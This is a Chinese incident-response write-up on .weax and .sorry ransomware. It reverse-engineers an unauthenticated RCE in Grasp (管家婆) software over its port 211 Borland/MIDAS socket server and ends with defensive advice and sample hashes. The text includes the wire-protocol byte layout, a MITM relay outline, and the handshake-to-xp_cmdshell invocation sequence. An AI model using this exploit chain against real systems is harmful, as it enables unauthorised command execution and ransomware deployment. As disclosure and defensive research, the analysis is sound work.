【全网首发】Weax与Sorry勒索病毒席卷全国中小企业,深度还原全链路攻击,疑似黑客利用AI挖掘管家婆0day漏洞
漏洞分析
写在前面 本文首发于Solar应急响应团队-「州弟学安全」,转载请务必注明出处。 最近一段时间,.weax与.sorry两个勒索病毒在国内中小企业圈里反复作案。Solar应急响应团队接连处置了多起相关事件...
写在前面 ---- 本文首发于**Solar应急响应团队-「州弟学安全」**,转载请务必注明出处。 最近一段时间,`.weax`与`.sorry`两个勒索病毒在国内中小企业圈里反复作案。Solar应急响应团队接连处置了多起相关事件,把这些案例放在一起对比,发现了一个高度一致的共同点:**受害者无一例外都部署了"管家婆"系列管理软件(管家婆辉煌Ⅱ/TOP+等)。**  Weaxor家族将文件加密为`.weax`后缀  Tellyouthepass将文件加密为`.sorry`后缀 奇怪的是,这些受害者的环境里: - **SQL Server 的 1433 端口并没有对公网开放**; - 数据库账号**也不是弱口令**(sa 密码复杂度足够); - 边界设备、Web 应用上**找不到明显的入侵痕迹**; - 可偏偏就是被加密了,而且**加密发生前 SQL Server 日志里干干净净,没有任何爆破、任何异常登录**。 一个**"没开数据库端口、没弱口令、没 Web 漏洞"**的内网,是怎么被勒索病毒从公网打进来的?这是本篇要回答的核心问题。 经过深度的逆向分析与活机验证,并通过其它渠道交叉确认,我们最终把入口锁定在了管家婆几乎默认对外开放的211端口上,一个被绝大多数运维忽视、却能让攻击者在完全不需要任何口令、不需要加密狗、不需要客户端的情况下,可导致以 SQL Server 服务身份执行系统级操作,实际权限需以现场服务账户为准的未授权远程代码执行(RCE)漏洞。  通过多渠道验证,漏洞利用入口确认为211端口 更致命的是,这个漏洞**不产生任何登录日志**,传统的安全设备和日志审计对它几乎无效,这正好解释了为什么受害者环境里"没有任何攻击痕迹"。 本文将从零开始,完整还原**排查、逆向、抓包、靶场验证**的全过程,每一步都给出可复现的操作与截图,供同行复测与防守参考。  本文整体攻击链路概览 **值得警惕的是,截至本文发布时,这两个家族的攻击目标正在进一步扩展。** 此前**Weaxor**和**Telyouthepass**主要利用HW(护网)期间的1day和Nday漏洞实施攻击,但近期态势发生了明显变化,两个家族开始将矛头指向**管家婆物联通、管家婆ERP**等更多产品线,且基本上都是以0day漏洞作为突破口。这种攻击面的快速转移和武器化速度,与以往的攻击模式形成了强烈反差。 管家婆系列软件在互联网上可以直接下载安装包,任何人都能轻易获取目标程序。从软件公开下载到漏洞被武器化投入实战,这个周期被压缩得极短。结合此次攻击目标快速扩展、0day漏洞接连出现的特点,我们不得不提出一个严肃的假设:**勒索组织可能正在借助AI辅助进行自动化漏洞审计,大幅缩短了从"发现漏洞"到"勒索变现"的时间线。**这不再是传统的**"漏洞挖掘-分析利用-传播攻击"**线性流程,而可能演变成AI驱动的批量审计、快速武器化、精准投放的闭环模式。 一、线索汇聚:两起案例的共同点 --------------- ### 1.1 案例A:Tellyouthepass家族(某制造业务系统,加密后缀`.sorry`) 第一起案例是一家制造业公司被`.sorry`加密。在其磁盘镜像里提取到了服务端程序包`XXXserver.rar`,解压后发现一个关键文件:`ScktSrvr.exe`(路径`hs_extract\ScktSrvr.exe`,680960字节),这是后续逆向的核心样本之一。   解压`XXXserver.rar`后的目录列表,`ScktSrvr.exe`高亮标注 这台机器对公网开放的端口里,**211端口(TCP)处于监听状态**,而且加密发生后仍然存活;而1433(SQL Server)并未对公网放行。 ### 1.2 案例B:Weaxor家族(某企业ERP,加密后缀`.weax`) 第二起案例是`.weax`病毒作案。我们拿到了这台机器的SQL Server默认追踪日志(`log_*.trc`),里面有一条铁证级的记录: 2026-06-26 19:47:59.30 spid56 Configuration option 'Ole Automation Procedures' changed from 0 to 1 LoginName = sa (经 .Net SqlClient)  受害者SQL默认trace `log_105.trc`中`Ole Automation Procedures changed from 0 to 1`的记录(使用`fn_trace_gettable`或日志查看器打开) 这条记录说明:**攻击者在加密前一天,用** **`sa`** **身份开启了 SQL Server 的 OLE Automation Procedures**(这是后续执行 OS 命令的前置动作)。但问题是:`sa` 是怎么被拿到的?1433 又没开。 ### 1.3 共同点收敛 把两起案例并排放: | 维度 | 案例A(.sorry) | 案例B(.weax) | |---|---|---| | 行业 | 制造业公司 | 企业ERP | | 加密后缀 | .sorry | .weax | | 1433端口开放 | 否 | 否 | | 数据库弱口令 | 否 | 否 | | Web漏洞痕迹 | 无 | 无 | | 211端口开放 | 是 | 是 | | 管家婆部署 | 否 | 是 | 线索全部指向同一个东西:**那个开着的 211 端口**。它不是 Web 端口、不是数据库端口,它是管家婆客户端连服务端用的**应用层 socket 端口**。在 1433 不暴露的前提下,唯一能让 `sa` 在本地被执行的路径,就是经这个 211 端口:**借管家婆应用自身的** **`sa`** **连接,绕过数据库端口的封堵**。  目标地址211端口可达性确认 研究方向由此明确:**搞清楚211端口背后这个程序是什么、协议是什么、能不能在无凭据的情况下执行任意操作。** 二、管家婆是什么,211端口又是什么 ------------------ ### 2.1 下载管家婆安装包,本地搭建 为了可控地复现,我们在本地下载了一份**管家婆辉煌ⅡTOP+15**的安装包,并在一台干净的Windows Server上完成安装(服务端+数据库+客户端)。  管家婆辉煌ⅡTOP+15安装过程截图(安装向导/安装完成界面) 安装完成后,`C:\GRASP TOP+\`目录列表如下,`scktsrvr.exe`与`GraspSvr.exe`高亮标注,这两个文件是本文的主角:  `C:\GRASP TOP+\`目录列表,`scktsrvr.exe`与`GraspSvr.exe`高亮标注 安装完毕后,用客户端`GraspNet.EXE`登录服务端、进入一个测试账套,确认整套环境正常工作。 靶场拓扑如下:  靶场进程截图:任务管理器或PowerShell `Get-Process scktsrvr,GraspSvr,sqlservr`显示三者运行中及路径 ### 2.2 211 端口的真身:`scktsrvr.exe` 我们顺着 211 端口找到了对应的进程:`C:\GRASPⅡTOP+\scktsrvr.exe`。 **`scktsrvr.exe`** **到底是什么?** 这里用大白话解释一下,方便不熟悉 Delphi 技术栈的同学理解: 管家婆这类软件是典型的 **C/S(客户端/服务端)两层半架构**。你在前台操作的客户端(`GraspNet.EXE`),并不直接连数据库,而是先连到服务端的一个"中间程序";这个中间程序再统一去连数据库、并把结果回传给客户端。  中间件逻辑运行示意图:客户端→scktsrvr.exe→GraspSvr.exe→SQL Server `scktsrvr.exe` 扮演的就是这个**"数据中转站 / 中间件"**的角色,它来自 Borland/Delphi 的技术体系,正式名称叫 **Borland Socket Server**(或 Delphi Socket Server),是 Delphi 开发的多层应用(MIDAS / DataSnap 架构)里专门用来**在客户端和服务端之间搬运数据**的 socket 传输层程序。 可以把它通俗地理解成: > **它是管家婆客户端和服务端之间的"快递中转站",客户端把要查的数据、要执行的指令打包发给它(211 端口),它转交给服务端的业务程序(GraspSvr),业务程序再去数据库取数/写数,原路返回。** 这个"快递中转站"用的是一个叫 **MIDAS** 的私有二进制协议(不是 HTTP)。理解这一点非常关键,因为它决定了后面两件事: ### 2.3 为什么传统防御对它无效 **第一,它不是 Web 漏洞。** 211 端口上跑的不是 HTTP,是 MIDAS 私有二进制协议。WAF、Web 日志、URL 审计统统看不到它:它根本不在 Web 这条管道里。 **第二,它默认不产生登录日志。** 我们在逆向时确认:`scktsrvr` 的连接建立阶段**没有任何应用层认证**(注册表里的鉴权拦截器 `InterceptGUID` 是空的),握手成功也不会像 SQL Server 那样写一条登录记录。也就是说,攻击者连上来、握个手、调几个方法,**全程在操作系统和应用日志里留不下任何"谁连进来了"的痕迹**。 这就完美解释了之前的悖论:**受害者环境没有痕迹,不是因为没被打,是因为这条管道压根不记日志。**  注册表`HKLM\SOFTWARE\WOW6432Node\Borland\Socket Server`的内容:`InterceptGUID`值为空(无鉴权拦截器) 既然它是私有协议、又不记日志,那想搞清楚它到底怎么工作、有没有漏洞,就只能靠**两条路**: 1. **静态逆向**:把 `scktsrvr.exe`(以及它拉起的业务程序 `GraspSvr.exe`)丢进 IDA,看协议是怎么解析的、有没有鉴权; 2. **动态抓包**:搭一个中间人(MITM),让真实的管家婆客户端从中间过一遍,把协议的真实字节抓下来对照。 后面的方向,我们就分别走这两条路。 三、逆向 scktsrvr.exe:协议与漏洞点 ------------------------ 我们把靶机上 `C:\GRASPⅡTOP+\scktsrvr.exe`(与受害者同款,文件版本 7.0.4.453)拷贝出来,放进 **IDA Pro**。  IDA Pro成功载入`scktsrvr.exe`程序 ### 3.1 第一个发现:握手阶段没有任何认证 在逆向协议之前,我们先确认了一个最关键的前提:**这个服务要不要登录?** `scktsrvr` 的运行参数读自注册表 `HKLM\SOFTWARE\WOW6432Node\Borland\Socket Server`。Delphi 的 Socket Server 设计上支持一个叫 **`InterceptGUID`** 的"鉴权拦截器",如果配置了这个 GUID,每条连接都会先经过这个 COM 拦截器做认证。但我们查注册表:  读取注册表配置的代码段  证实`InterceptGUID` 为空 **`InterceptGUID`** **是空的,意味着没有任何鉴权拦截器被插入连接流程。** 任何人 TCP 连上 211,都能直接进入 MIDAS 协议层,不存在"用户名密码"这一关。这是整个漏洞的根。 ### 3.2 定位协议主循环:分发器 `sub_48B820` 握手成功后,连接进入解释器主循环。在 IDA 里跳到地址 **`0x48B820`**(函数 `sub_48B820`): // sub\_48B820 —— 分发器 v2 \\= (\*(unsigned \_\_int8 (...))(\*(DWORD\*)a2 + 32))(a2, ...); // 读取 1 字节 action switch (v2) { case 2: sub\_48C050(...); break; // → 方法调用 (Invoke) case 3: sub\_48BEE4(...); break; case 4: sub\_48BD64(...); break; // → 连接/握手 case 5: sub\_48BE5C(...); break; case 16: sub\_48BBDC(...); break; case 18: sub\_48BA54(...); break; default: ... }  IDA反编译,展示读取action字节+switch的画面,高亮case 2→`sub_48C050` 这里先记下一个**后来证明非常关键的认知**:服务器先读一个字节作为动作类型(action),再根据它分发。我们一开始误以为这个 action 字节在数据包的载荷里,导致后面构造测试包时反复踩坑 ### 3.3 方法调用入口:Invoke 解释器 `sub_48C050` `action=2` 这条路进入 **`0x48C050`\***\*(`sub_48C050`)**,这是整个方法调用的解释器。它连续读取 6 个"变体(Variant)",然后**直接调用 AppServer 的\*\* **`IDispatch::Invoke`\***\*,\*\*这是 COM 里的通用方法调用接口。 // sub\_48C050 —— Invoke 解释器(精简) sub\_48A89C(..., v35); v49 \\= sub\_410B00(); // 变体1 = dispatch引用(哪个AppServer) (\*v50)\[9\](&v44, v49, ...); // 解析出 IDispatch 对象 sub\_48A89C(..., v34); v48 \\= sub\_410B00(); // 变体2 = dispid(调哪个方法) sub\_48A89C(..., v33); v47 \\= sub\_410B00(); // 变体3 = wFlags sub\_48A89C(..., v32); v46 \\= sub\_411F08(); // 变体4 = 标志 sub\_48A89C(..., v31); v39 \\= sub\_410B00(); // 变体5 = cArgs(参数个数) sub\_48A89C(..., v30); v40 \\= sub\_410B00(); // 变体6 = cNamedArgs // ...读取 cArgs 个参数变体... v11 \\= (\*(int (...))(\*(DWORD\*)v44 + 24))(v44, v48, ...); // ← IDispatch::Invoke (vtable第6槽)  IDA反编译,展示读6个变体+调`IDispatch::Invoke`的画面 **这段代码揭示了一个决定性事实**:从"握手成功"到"`IDispatch::Invoke` 被调用"之间,**没有任何权限校验代码,**没有"未登录返回错误"、没有"权限不足"、没有黑名单。换句话说,**只要握手能过,AppServer 暴露的任意一个方法(任意 dispid、任意参数)都可以被自由调用**。至于能不能干坏事,就取决于 AppServer(`GraspSvr`)里有没有"能执行 SQL / 命令"的方法。 ### 3.4 变体是怎么在网络上编码的:变体读取器 `sub_48A89C` 上文的 6 个"变体"和参数,在网络上是怎么传的?这要看变体读取器 **`0x48A89C`\***\*(`sub_48A89C`)\*\*。它的核心逻辑: // sub\_48A89C —— 变体读取器(精简) read(v4, &v16, 4); // 先读 4 字节 = 变体类型 if (v16 \\== 0x4000) { ... } // byref else if (v16 & 0x2000) { sub\_48A24C(...); } // 数组 else switch (v16 & 0xFFF) { case 0x0: ... break; // varEmpty case 0x8: ... read(charcount); read(2\*charcount UTF16); break; // 字符串 case 0xD: ... break; default: read(v4, a4+4, word\_491354\[v16 & 0xFFF\]); // 其它按大小表读 }  IDA反编译,展示`sub_48A89C`与default分支引用大小表`word_491354`的画面 也就是说,每个变体在网络上长这样: \[类型:4字节LE\]\[值\] - 整数(varInteger=3): 03 00 00 00 + 4字节值 - 字符串(varOleStr=8): 08 00 00 00 + 字符数(4) + UTF-16LE - 布尔(varBoolean=0x0b): 0b 00 00 00 + 2字节 - 引用(byref=0x4000): 与上述 OR > 顺带一提:这个 default 分支里 `word_491354[type & 0xFFF]` 的大小表只有 20 个有效条目,type≥0x14 会越界读到指针碎片,这是个真实的内存安全缺陷代码模式,但我们在管家婆辉煌ⅡTOP+15所需的scktsrvr.exe 7.0 上实测它被 Delphi 异常机制中和、不构成可利用溢出。这部分会在后面体现。 到这一步,静态逆向已经告诉我们: 1. **无认证**(`InterceptGUID` 空); 2. **握手后可自由调用 AppServer 任意方法**(`sub_48C050` 无鉴权); 3. **变体的线编码格式**已经清楚。 但还有一个关键的"差一步":这些 action、变体、方法,**到底是怎么打包成一个完整数据包的?数据包的包头长什么样?**光靠 IDA 推断,我们反复构造测试包都失败了(一直报 `Invalid variant type` / `Invalid class string`)。**这一步必须靠真实流量来证实。** 四、MITM 抓真实流量:拿到地面真相 ------------------- ### 4.1 为什么必须抓包 逆向告诉我们"协议的零件长什么样",但没告诉我们"零件怎么组装成一个真实的数据包"。我们在 IDA 里推断的包头格式、action 位置,和服务器实际期望的对不上,连续碰壁:  早期构造的测试包,服务器返回`Invalid variant type 01 db 00 00`(错误签名+错误变体串)的终端截图 这种时候最稳的办法,不是继续猜,而是**让一个真实的管家婆客户端从我们的"中间人"上过一遍,把真实的数据包字节抓下来对照**。 ### 4.2 搭建中间人(MITM) 我们的测试机(Linux,IP `192.168.115.18`)和管家婆客户端(Windows,IP `192.168.115.22`)在同一个局域网。方案很直接: 1. 在 Linux 上跑一个 TCP 中继脚本 `midas_mitm.py`:**监听 0.0.0.0:211,把所有数据原样转发到云端靶机** **`115.xxx.xx.xx:211`**,同时把双向的每一个字节都记录到日志文件。 2. 在管家婆客户端的登录界面,**把"服务器地址"从云端 IP 改成我们 Linux 的 IP** **`192.168.115.18`**(端口仍是 211)。 3. 客户端照常登录账套。对客户端来说,它以为自己连的是服务器;实际上数据先经过我们的中继,被完整记录后再转给真服务器。 `midas_mitm.py` 的核心逻辑: \# 监听 211, 转发到 115.xxx.xx.xx:211, 双向逐字节记录 LISTEN = ("0.0.0.0", 211) UPSTREAM = ("115.xxx.xx.xx", 211) LOG = "midas\_mitm.log" # ← 抓到的所有字节都落在这里 \# 每条消息记录: 方向(C2S/S2C) + 字节数 + hex + ascii  客户端登录界面,服务器地址改为 `192.168.115.18` 的截图。  Linux终端运行`python3 midas_mitm.py`,显示"MITM已启动 0.0.0.0:211 -> 115.xxx.xxx.xx:211"的画面 ### 4.3 抓到的真实流量:脚本运行结果 客户端登录一次(进入账套、查询数据),我们在脚本运行结果里抓到了 **880 条消息**的完整双向字节流。这是后面还原协议的"地面真相"。 查看结果,能看到第一条客户端发来的握手包(92 字节): \[客户端→服务器 C2S\] 92字节: hex: 04 da 00 00 54 00 00 00 08 00 00 00 26 00 00 00 7b 00 36 00 39 00 43 00 34 00 ...(CLSID 的 UTF-16LE)... ascii: ....T.......&...{.6.9.C.4.1.9.F.0.-.1.E.D.F.-.4.D.C.A.-.B.1.2.9.-.A.3.F.8.4.1.E.9.A.9.2.A.}.  `midas_mitm.py`运行后日志文件的开头部分 把这个包逐字节拆开,**协议的"组装方式"终于现出原形**: 04 da 00 00 ← 签名(前2字节是"动作+方向", 04\\=握手, da=客户端发) 54 00 00 00 ← 载荷长度 = 0x54 = 84 字节 08 00 00 00 ← record\_id \\= 8 (连接请求) 26 00 00 00 ← 字符串字符数 = 0x26 = 38 {69C419F0-1EDF-4DCA-B129-A3F841E9A92A} ← 管家婆 GraspSvr 的 CLSID(UTF-16LE, 38字符) ### 4.4 抓包纠正的关键错误:动作类型在"签名"里,不在载荷里 继续往下看脚本运行结果,我们看到了握手之后的下一条客户端消息,它的开头是: 03 da 00 00 ... ← 注意! 签名第一个字节变成了 03 (不再是 04) 再下一条又是: 02 da 00 00 ... ← 又变成了 02  `midas_mitm.py`解析输出中连续三条消息,签名首字节依次为`04 da`(握手)、`03 da`(查方法名)、`02 da`(方法调用),展示"动作在签名首字节"的铁证 这就是我们在前面末尾踩的坑的答案!**数据包的"动作类型"不在载荷里,而是藏在签名(前4字节)的第一个字节里。** | 签名首字节 | 含义 | |---|---| | 04 da | 握手/连接(载荷 = record\_id=8 + CLSID) | | 03 da | GetIDsOfNames(按方法名查 dispid) | | 02 da | Invoke(载荷 = 6 个变体 + 参数,无前导字节) | | 04/01 db | 服务器响应(04 db=正常,01 db=错误) | 我们之前一直把 `02`(Invoke 动作)放进载荷里发,服务器却把它当成了握手(action 4)来解析,所以一直报 `Invalid class string`,**差一个字节的位置,卡了好久**。抓包一对照,豁然开朗。 ### 4.5 抓包还原出的完整方法调用序列 用配套的解析脚本 `parse_mitm.py` 把 `midas_mitm.log` 整个解一遍,真实客户端登录一次的过程清清楚楚: \[0\] 握手 CLSID={69C419F0-...} → 服务器回 cookie=0 \[2\] ACT3 查方法名 "ConnectDb" → 回 dispid 0x60030000 \[4\] INVOKE dispid=0x60030000 (ConnectDb) → 注册客户端 \[6\] ACT3 "ChangeDb" → 回 dispid 6 \[8\] INVOKE dispid=6 (ChangeDb) arg="hherpmaster" → 选择账套(主账套) ... \[34\] INVOKE dispid=5 (OpenSQL) arg="Select SubValue From Sysdata ..." → 设置SQL \[36\] INVOKE dispid=0x1312d01 (AS\_GetRecords) arg="pv\_qry\_Open" → 执行SQL并取数   `parse_mitm.py`的解析输出,展示上述方法调用序列(每条含dispid、参数) 这条序列给了我们最后两块拼图: 1. **方法名 → dispid 是动态查的**(ACT3,按名字解析),所以 dispid 跨版本都一样能用; 2. **真正把 SQL 发到数据库执行的,是** **`OpenSQL`** **+** **`AS_GetRecords`** **这一对组合,**`OpenSQL` 只是"设置 SQL 文本",`AS_GetRecords` 才"执行 + 取数"。 至此,逆向 + 抓包两条路汇合,协议的每一个细节都清楚了。**下面,我们用它构造完整的攻击 PoC,在靶场上跑通。** 五、构造 PoC:从无凭据握手到 SYSTEM ----------------------- 把前面还原出的协议,写成最小可用 Python 脚本(仅标准库),就是我们的 PoC。完整脚本见配套文件,下面把关键步骤一步步拆开。 ### 5.1 第一步:无凭据握手 按前面字节布局,构造握手包发出去:  PoC脚本运行,输出"握手成功"——无任何凭据,直接建立连接 ### 5.2 第二步:踩中"必须先初始化会话"的坑 握手成功后,我们最初直接发 `OpenSQL(SQL) + AS_GetRecords`,结果服务器一直回 `Provider not exported`(provider 未导出),SQL 根本发不到数据库(计划缓存里查无此 SQL)。 对照 脚本结果里真实客户端的序列才明白:**客户端在查询前,必然先调用** **`ConnectDb`** **注册客户端、再调用** **`ChangeDb`** **选择一个账套。不选账套,provider 就不会被"导出"。** 这是协议状态机的一个隐藏前提。 补上这两步: INVOKE(dispid=ConnectDb, args=\[客户端IP, 主机名\]) # 注册客户端 INVOKE(dispid=ChangeDb, args=\["hherpmaster"\]) # 选择账套 ← 关键! 这里有个**让攻击"零先验知识"的关键点**:`ChangeDb` 选的账套名 `hherpmaster`,是**管家婆默认的系统/主账套**,每一套管家婆装好就有、名字固定,**攻击者根本不需要事先知道受害者的业务账套叫什么**。而且 `xp_cmdshell` 是 SQL Server 服务器级的功能,不依赖具体业务账套,从 `hherpmaster` 一样能执行。 > 如果攻击者还想精准打击某个业务账套,甚至可以连上后直接 `select name from master.sys.databases` 自己把所有账套列出来,我们在靶场上实测,一条 SQL 就把 `gjp20260702 / hherpmaster / ...` 全列出来了。 ### 5.3 第三步:执行任意 SQL,进而执行 OS 命令 会话初始化完成后,方法调用链就和真实客户端一模一样了: INVOKE(dispid=OpenSQL, args=\["exec master..xp\_cmdshell 'echo PWNED > c:\\\\pwned.txt'"\]) INVOKE(dispid=AS\_GetRecords, args=\[..., "pv\_qry\_Open"\]) # 触发执行  完整PoC执行后的终端输出与靶场验证截图 `AS_GetRecords` 一旦触发,`GraspSvr` 就以 `sa` 身份把这条 SQL 送进了 SQL Server;`xp_cmdshell` 把命令交给了操作系统。  完整PoC执行后的终端输出与靶场验证截图 六、落地验证:SYSTEM 权限 + 取证自证 ----------------------- 光说"能执行"不够,必须在靶场上把"执行结果"落成看得见、摸得着的物证。 ### 6.1 物证一:操作系统命令落地,且是 SYSTEM 权限 我们用PoC 经 `xp_cmdshell` 在靶机 `C:\` 写下标记文件 `solar.txt`。我们接着去验证:  靶机`C:\solar.txt`文件存在性验证截图 攻击者拿到的是 Windows 上最高权限的本地账户之一(`NT AUTHORITY\SYSTEM`,权限等同甚至略高于本地 Administrator,属用户态最高)。这是因为 `xp_cmdshell` 以 SQL Server 服务进程的身份执行命令,在我们这台靶机上,SQL Server 服务实测以 LocalSystem 运行,于是命令落地文件的 权限 就是 NT AUTHORITY\\SYSTEM,攻击者由此掌控本机几乎所有资源:**装勒索、停服务、清日志**都可以直接做;横向移动到其它主机则通常还需进一步窃取/复用凭据(非一步到位)。 > 注意:并非所有管家婆部署的 SQL 服务都是 LocalSystem,不同版本/安装方式可能使用更低权限的服务账户(如 NETWORK SERVICE、虚拟服务账户 NT SERVICE\\MSSQLSERVER 或域账号),那种情况下 xp\_cmdshell 的本机权限会相应降低;但无论服务账户是什么,"未授权以 sa 执行任意 SQL"这个核心漏洞都成立,区别只在于落地 OS 命令时的权限高低。 ### 6.2 物证二:未授权链路以 sa 执行 DDL(持久表) 为了进一步证明"未授权就能以 `sa` 执行任意 SQL",我们经同一条无凭据链路建了一张表: create table grasp\_rce\_poc\_211\_4(id int, src varchar(80), ts varchar(30)); insert grasp\_rce\_poc\_211 values(1,'PWNED-VIA-UNAUTH-MIDAS-211\_4', cast(getdate() as varchar(30))); select \* from grasp\_rce\_poc\_211\_4; 执行后去查:  查询`grasp_rce_poc_211_4`表,确认记录存在 这张表**持久存在**于受害者数据库里,是"未授权 → sa 任意 SQL"的铁证。 ### 6.3 回写一句话:为什么受害者环境没有痕迹 到这里,最开始的悖论彻底解开: - **不产生登录日志:**MIDAS 握手无认证、不记录"谁连进来了"; - **不触发登录失败告警:**根本没用口令,没有"失败"可言; - **不经过 Web:**WAF / Web 日志完全看不到; - **借用应用自身的 sa 连接:**1433 没开也无所谓,命令是从应用内部发出去的; - **唯一的痕迹**只在 SQL 默认 trace 里(且默认 trace 并非所有部署都会保留/被检查)。 所以受害者环境看起来没有痕迹,不是没被打,是**这条管道天生不留常规脚印**。 最终我们在客户授权下进行测试,经测试漏洞存在,我们的全流程闭环。 七、这不是管家婆一个产品的问题:一类漏洞 -------------------- 研究过程中,有两个发现让我们意识到:**把这事局限在"管家婆"上,是低估了。** ### 7.1 案例 A 的 XXXServer,用的是同一套 scktsrvr 回到第一章案例 A(`.sorry`,制造业务系统),我们解压它的服务端包 `XXXserver.rar`,里面赫然也有一个 `ScktSrvr.exe`(680960 字节,版本 11.0.2804.9245,"CodeGear Socket Server"),**和管家婆同源、同一个 Borland Socket Server**。  `XXXserver\ScktSrvr.exe`的文件属性:产品名"CodeGear Socket Server",版本11.0.2804.9245 进一步分析它的业务程序 ,`XXXServerZz.exe`发现它实现的是**标准的 Delphi IAppServer**(二进制里含标准 IAppServer 类型库 GUID `{1AEFCC20-...}`、`AS_Execute`、`AS_GetProviderNames`,以及一个关键属性 `poAllowCommandText`,允许 provider 直接执行调用方传入的 SQL)。 差别在于:管家婆用的是**自己定制的** AppServer(有"账套"概念,方法名 ConnectDb/ChangeDb/OpenSQL);而 XXXServer 用的是**标准 IAppServer**,没有账套,攻击路径是 **`AS_Execute(provider, CommandText=任意SQL)`** 直接执行 SQL。但**底层入口完全一样**:都是 211 端口、都是 scktsrvr、都无认证。 ### 7.2 一次同网段扫描,4 台不同应用,全是 scktsrvr 我们对靶机所在网段做了 211 端口扫描,**一次就扫到 4 台开放 211 的主机**。用我们的工具去连,全部返回同一个错误: Object not available: {69XXX-XXX-XXX-XXX-A92A} 这个错误的意思是:**这些机器上没注册管家婆的 GraspSvr 这个类:它们是别的 Delphi MIDAS 应用(不同的 AppServer、不同的 CLSID)**。我们手里这把"管家婆钥匙"开不了它们的锁。 ### 7.3 攻击者为什么"这么准":CLSID 字典 这就回答了一个读者可能早就想问的问题:**既然每个应用 CLSID 不同,攻击者怎么知道该用哪个 CLSID 去连?** 答案是:**攻击者手里有一本 CLSID 字典**。他们逆向了多种 Delphi MIDAS 应用的客户端,提取出各自 AppServer 的 CLSID(管家婆 `{69C419F0-...}`、XXXServer 的、还有别的……),攒成字典。扫描器先用 `04 da` 探针确认"这是台 scktsrvr/MIDAS",然后**逐个试字典里的 CLSID,**命中哪个,就知道对方是什么应用,再套对应的方法集打。 **结论:这是一类漏洞,不是一个产品的漏洞。** 任何"Delphi MIDAS socket 应用 + scktsrvr 无认证 + AppServer 有 SQL/命令执行能力"的组合都中招。管家婆只是其中最常见、暴露量最大的一类。 八、顺藤摸瓜:有没有"绕过数据库"的缓冲区溢出 ----------------------- 既然 211 上跑的是个解析私有协议的程序,那除了"经数据库 RCE"这条应用层路径,**协议解析层本身有没有内存破坏漏洞(缓冲区溢出),能不经过数据库直接打?** 我们也深入挖了一下。 ### 8.1 受害者日志里的铁证:scktsrvr 确实崩过 我们在案例 A 受害者的 `Application.evtx` 里发现:**`ScktSrvr.exe`** **有大量崩溃记录**(30 条 Application Error,两组不同 WER 哈希),其中一条:  受害者`Application.evtx`中`ScktSrvr.exe`的AppCrash 1000事件详情 受害者崩溃点 `0x4041d9` 经反汇编确认落在 Delphi 运行时的 SEH 链链代码(`mov fs:[0], eax`),这是 SEH 链被破坏的强签名(栈溢出覆盖 SEH 后,异常处理二次崩溃的典型落点)。严格来讲,要坐实"可控 SEH 覆盖(可改写 handler 跳转 → RCE)"还需要一份崩溃转储来观察被覆盖的 SEH 记录;目前受害者侧只留存了崩溃日志,未取得 dump,故此处为**"高度可疑的栈/SEH 破坏"**,而非**"已证实的可控覆盖"**。补全这一步需在 Wine 上复现 11.0 崩溃并抓 dump(后续工作)。 ### 8.2 管家婆 7.0:有缺陷代码,但被异常机制中和 我们把目光转回**管家婆辉煌ⅡTOP+15**所用的 7.0(靶场同款),重点审计前面3.4 节那个变体读取器的 default 分支: default: read(v4, a4+4, word\_491354\[v16 & 0xFFF\]); // 按大小表读 N 字节到栈缓冲 大小表 `word_491354`(IDA 地址 `0x491354`)只有 20 个有效条目(type 0–19);当变体类型 `≥0x14`(越界)时,会读到表后面的**指针碎片**(如 type 0x14 → 31180),然后往只有 12 字节的栈缓冲里写 31180 字节,**这是确凿的栈溢出代码模式**。  IDA查看`word_491354`大小表的内容,展示20个有效条目后的越界风险 但在 7.0 上**实测打不死**:发 type 0x14(带各种长度 payload),服务器全部优雅返回 `Invalid variant type`,进程始终存活(PID 不变)。 原因:**所有能触发 default 分支的 type 都是"非法 type"**,Delphi 在用到被破坏的返回地址/SEH 之前,就先抛了 `EVariantError`,被外层分发器(`sub_48B820`,其栈帧未被破坏)的 SEH 兜住,清除了。**内存写确实发生了,但崩不出来、控不了执行流。**  Fuzz脚本对7.0发多种畸形变体,全部未成功,PID始终不变的终端截图 ### 8.3 溢出研究的结论 | 版本 | 结论 | |---|---| | 管家婆辉煌ⅡTOP+15 | 有内存安全缺陷代码模式(latent),但不可利用(Delphi 异常机制中和,不崩、不可控执行) | | scktsrvr 11.0(XXXServer) | 有崩溃证明(c0000005 @ SEH、c00000fd),属另一版本的独立问题 | 所以诚实地讲:**真正被勒索利用的、我们已经闭环的,是前面那条"未授权 MIDAS → SQL → RCE"的应用层路径,不是缓冲区溢出。** 九、防御建议(按优先级) ------------ 1. **立即收敛暴露面**:211 端口**禁止对公网开放**。安全组 / 防火墙仅放行业务必需的可信 IP。这是性价比最高的一步,这个漏洞再严重,连不上就打不了,但缺点也很明显,一旦客户端IP有变化,就需要再加白新的客户端IP。 2. **应用层鉴权**:为 scktsrvr 配置 `InterceptGUID` 鉴权拦截器(若产品支持),或在 211 前置 VPN / 反向代理做强制认证,目前管家婆官方已在内部发布修复版本的Scktsrvr.exe程序。 3. **收紧数据库**:禁用或严格限制 `xp_cmdshell`、`Ole Automation Procedures`;**AppServer 不应以** **`sa`** **连库,**改用最小权限账号,即使被未授权调用,也执行不了 OS 命令。 4. **监控盲区补盲**:在 211 流量上部署协议级监测(识别 `04 da / 04 db` MIDAS 握手、异常 ACT3/Invoke),因为传统 Web/登录日志对它无效;SQL 默认 trace / 扩展事件重点盯 `sp_configure`、`sp_OACreate`、`xp_cmdshell`。 5. **多波防御**:一旦被加密,恢复前**务必清除持久化**(计划任务 / 服务 / Run 键 / WMI 订阅 / 启动项 / System32 下可疑 exe)并**封堵 211,**否则恢复业务即等于重新把靶子立起来(攻击者可二次、三次再来)。 ### 附录 :样本指纹(用于比对 / 鉴定 / 复现) | 样本 | 大小 | 版本 | 厂商 / 产品 | MD5 | SHA256 | |---|---|---|---|---|---| | **scktsrvr.exe**(管家婆辉煌ⅡTOP+15版本 scktsrvr.exe所用7.0,逆向主样本/靶场同款) | 680448 | 7.0.4.453 | Borland Software Corporation / Borland Socket Server | `bd48bdba38bc4d925e080183cb2dc8c1` | `f2b1ab212b0f02ab1da4b1e93a6d54e19f853b99b5aa4fa7b56d8d3946362978` | | **ScktSrvr.exe**(XXXServer 11.0,sorry 受害者同款,有崩溃铁证) | 680960 | 11.0.2804.9245 | CodeGear / CodeGear Socket Server | `3aa210de0269010e6169f8736471ecf0` | `9a736ac6c1f359be7e2e44287581974ea84982d4416e72b84e3104f4dea7367e` | | **GraspSvr.exe**(管家婆 AppServer,COM 组件) | 4430336 | 15.0.0.68 | 任我行软件有限公司 / 管家婆辉煌服务器 | 